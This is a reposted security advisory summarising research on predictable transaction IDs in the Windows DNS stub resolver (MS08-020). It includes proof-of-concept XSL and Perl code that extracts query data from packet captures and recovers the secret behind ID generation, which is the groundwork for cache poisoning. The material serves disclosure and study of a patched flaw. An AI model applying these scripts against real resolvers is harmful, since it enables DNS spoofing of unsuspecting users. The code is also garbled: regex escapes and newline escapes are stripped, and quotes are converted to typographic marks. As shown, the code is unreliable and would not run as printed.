‘Microsoft Windows DNS Stub Resolver Cache Poisoning (MS08-020)’

Summary

‘The Windows DNS stub resolver is a Windows service used by Windows desktop software to resolve DNS names into IP addresses. The DNS stub resolver forwards DNS queries to the DNS server configured for the workstation (or server) and returns the DNS server s response to the requesting software.

This paper shows that Windows DNS stub resolver queries are predictable – i.e. that the source UDP port and DNS transaction ID can be effectively predicted. A predictability algorithm is described that, in optimal conditions, provides very few guesses for the ‘next’ query, thereby overcoming whatever protection offered by the transaction ID mechanism. This enables a much more effective DNS client poisoning than the currently known attacks against Windows DNS stub resolver.’

Credit:

‘The information has been provided by Amit Klein.
The original article can be found at: http://www.trusteer.com/docs/Microsoft_Windows_resolver_DNS_cache_poisoning.pdf


Details

Conclusion:
While DNS stub resolver cache poisoning (and predictability at large) attacks did not receive much attention to date, they re not to be neglected or dismissed. The use cases surveyed in this paper demonstrate that there are various scenarios in which such attacks can take place in the real world.

The fact that the most used DNS stub resolver, the Windows ‘DNS client’, is in fact vulnerable to such attack, should serve as a warning sign that vendors are missing some key points in understanding and implementing DNS security.

Microsoft is not alone here – several other leading vendors had to address similar issues in their DNS servers and stub resolvers over the last year.

Alarmingly, a troubling trend for such issues emerges: in many cases, vendors fix the predictability of the ID generation mechanism by replacing one flawed implementation with another flawed (perhaps less than the original, but still) implementation. For example, in reaction to a research paper ([Predictability of Windows DNS resolver], March 2004), Microsoft replaced the incremental ID with the weak algorithm described above.

Instead, vendors should take a more robust approach, replacing proprietary and/or home-made algorithms with cryptographic, industrial strength algorithms. The small overhead in runtime pays itself back many-fold in improved security.

Proof of concept:
XSL file
This XSL file can be applied to the PDML export file produced by the WireShark network analyzer (a similar XSL can be used for Ethereal, though the latter uses slightly different field names). It extracts data per each DNS query into a single line, separated by spaces. The following fields are extracted:
 * DNS transaction ID (4 hex digits)
 * Capture timestamp (seconds, 9 digits after the decimal point)
 * Query object (string)
 * UDP source port (4 hex digits)

The XSL transformation can be applied by any XSLT engine, e.g. Microsoft MSXSL ([Command Line Transformations Using msxsl.exe]).

The Perl script in appendix B assumes the output of this XSL transformation as its input.

It is advised that WireShark/Ethereal filters be used prior to applying the XSL transformation, because the former is much quicker than the latter, e.g. filtering for ip.src== and dns.flags.response==0 before exporting.

<?xml version=’1.0′ encoding=’ISO-8859-1′?>
<xsl:stylesheet version=’1.0′
>
<xsl:strip-space elements=’*’/>
<xsl:output method=’text’ encoding=’ISO-8859-1’/>
<xsl:template match=’/pdml/packet/proto[
@name=’dns’ and
field[@name=’dns.flags’]/field[@name=’dns.flags.response’]/@value=’0′]
‘>
<xsl:value-of select=’field[@name=’dns.id’]/@value’ />
<xsl:text> </xsl:text>
<xsl:value-of
select=’../proto[@name=’geninfo’]/field[@name=’timestamp’]/@value’ />
<xsl:text> </xsl:text>
<xsl:value-of
select=’field[@show=’Queries’]/field/field[@name=’dns.qry.name’]/@show
‘ />
<xsl:text> </xsl:text>
<xsl:value-of
select=’../proto[@name=’udp’]/field[@name=’udp.srcport’]/@value’ />
<xsl:text> </xsl:text>
</xsl:template>
</xsl:stylesheet>

Wrapper code for K extraction script
#### Insert the implementation of verify_K() here ####
use Time::HiRes qw(gettimeofday);
sub get_resolver_time
{
$host=shift;
if ($host=~/t-(d+)-d+.domain.site/)
{
return $1;
}
}
# Performace optimization quickly filter the data using
# Technique #1 (which is the quickest per-item). Then run
# whatever technique needed.
sub verify_K_optimizer
{
my $K=shift;
for (my $m=1;$m<$count;$m++)
{
if (((($txid[$m]^$K)-($txid[$m-1]^$K)) % 65536)>487)
{
return 0;
}
}
return 1;
}
@txid=();
@capture_time=();
@source_port=();
@resolver_time=();
# Read all data from file. It is assumed to be in the format generated
# by the XSL transformation described in appendix A.
$count=0;
open(FD,$ARGV[0]) or die ‘ERROR: Can’t open file $ARGV[0]’;
while(my $line=<FD>)
{
# File format: TXID[4 hex] capture_time[float]
# target_name[string] source_port[4 hex]
if ($line=~/^([0-9a-fA-F]{2})([0-9a-fA-F]{2})s
(d*.d*)s
(S*)s
([0-9a-fA-F]{4})/x)
{
push @txid,hex($2.$1);
push @capture_time,0.0+$3;
push @resolver_time,get_resolver_time($4);
push @source_port,hex($5);
$count++;
}
else
{
die ‘ERROR: Can’t parse line at count=$count.n’;
}
}
close(FD);
print ‘INFO: Found $count DNS queries in file.n’;
# Find which bits actually change – this can reduce the enumeration
# space for K.
my $flipped=0;
my $first=$txid[0];
for (my $i=0;$i<$count;$i++)
{
$flipped|=($txid[$i]^$first);
}
my $msb;
for ($msb=15;$msb>=0;$msb–)
{
if ($flipped & (1 << $msb))
{
last;
}
}
$msb++; # $msb is now the lowest unchanged bit
if ($msb<15)
{
print ‘WARNING: highest ‘.(16-$msb).’ bits do not change n’;
print ‘ can’t extract those K bits. More samples would
help.n’;
}
if ($msb>=15)
{
$msb=15;
print ‘INFO: most significant bit of K cannot be determined.n’;
print ‘ This is not an issue – see the paper for more
details.n’;
}
print ‘INFO: Guessing K now (least significant $msb bits).n’;
my $start_time=gettimeofday();
# Enumerate over K values
my @cand;
for ($K=0;$K<(1<<$msb);$K++)
{
if (verify_K_optimizer($K) and verify_K($K))
{
push @cand,$K;
}
}
my $end_time=gettimeofday();
print ‘INFO: ‘.($#cand+1).’ candidates found: @cand.nn’;
print ‘INFO: Elapsed time: ‘.($end_time-$start_time).’ Seconds.n’;
exit(0);

verify_K() for Technique #2
use POSIX qw(ceil floor);
$tick=15.6250; # In milliseconds – for multi-CPU/multi-core/HT machines
#$tick=10.0144; # In milliseconds – for single-CPU, single-core,
# non-HT machines
$error_tolerance=100; # Tolerance, in milliseconds (actual time delta is
within
# +/- $error_tolerance of the measured delta
sub verify_K
{
my $K=shift;
my $prev_delta;
for (my $m=1;$m<$count;$m++)
{
my $previous_S=$txid[$m-1]^$K;
my $current_S=$txid[$m]^$K;
my $delta=($current_S-$previous_S-1) % 65536;
my $delta_t=1000.0*$capture_time[$m]-1000.0*$capture_time[$m-
1];
if ($m>1)
{
my $delta_square=($delta-$prev_delta) % 487;
my $delta_t_min=($delta_t-$error_tolerance)>0 ?
($delta_t-$error_tolerance) : 0;
my $delta_t_max=$delta_t+$error_tolerance;
my $found=0;
for(my $j=floor($delta_t_min/$tick);
$j<=ceil($delta_t_max/$tick);$j++)
{
if ((floor($j*$tick)+1) % 487 == $delta_square)
{
$found=1;
last;
}
if ((ceil($j*$tick)+1) % 487 == $delta_square)
{
$found=1;
last;
}
}
if (not $found)
{
return 0;
}
}
$prev_delta=$delta;
}
return 1;
}

verify_K() for Technique #3
use POSIX qw(ceil floor);
$tick=15.6250; # In milliseconds – for multi-CPU/multi-core/HT machines
#$tick=10.0144; # In milliseconds – for single-CPU, single-core,
# non-HT machines
$tick_tolerance=2; # Tolerance, in ticks. Increase if no K is found.
sub verify_K
{
my $K=shift;
my %prev_n0;
for (my $m=1;$m<$count;$m++)
{
my $previous_S=$txid[$m-1]^$K;
my $current_S=$txid[$m]^$K;
my $delta=($current_S-$previous_S-1) % 65536;
my $n=(($delta-$m-$resolver_time[$m]) % 487);
# Create a list of possible n values
my %n0;
for(my $j=0;$j<=$tick_tolerance;$j++)
{
$n0{($n-(floor($j*$tick))) % 487}=1;
$n0{($n- (ceil($j*$tick))) % 487}=1;
}
if ($m>1)
{
# Find the intersection between %n0 and %prev_n0,
# and store it into %n0
foreach $k (keys(%n0))
{
if ($prev_n0{$k}!=1)
{
delete $n0{$k};
}
}
}
%prev_n0=%n0;
if (not scalar(%n0))
{
# %no is empty
return 0;
}
}
return 1;
}’

Categories: Reviews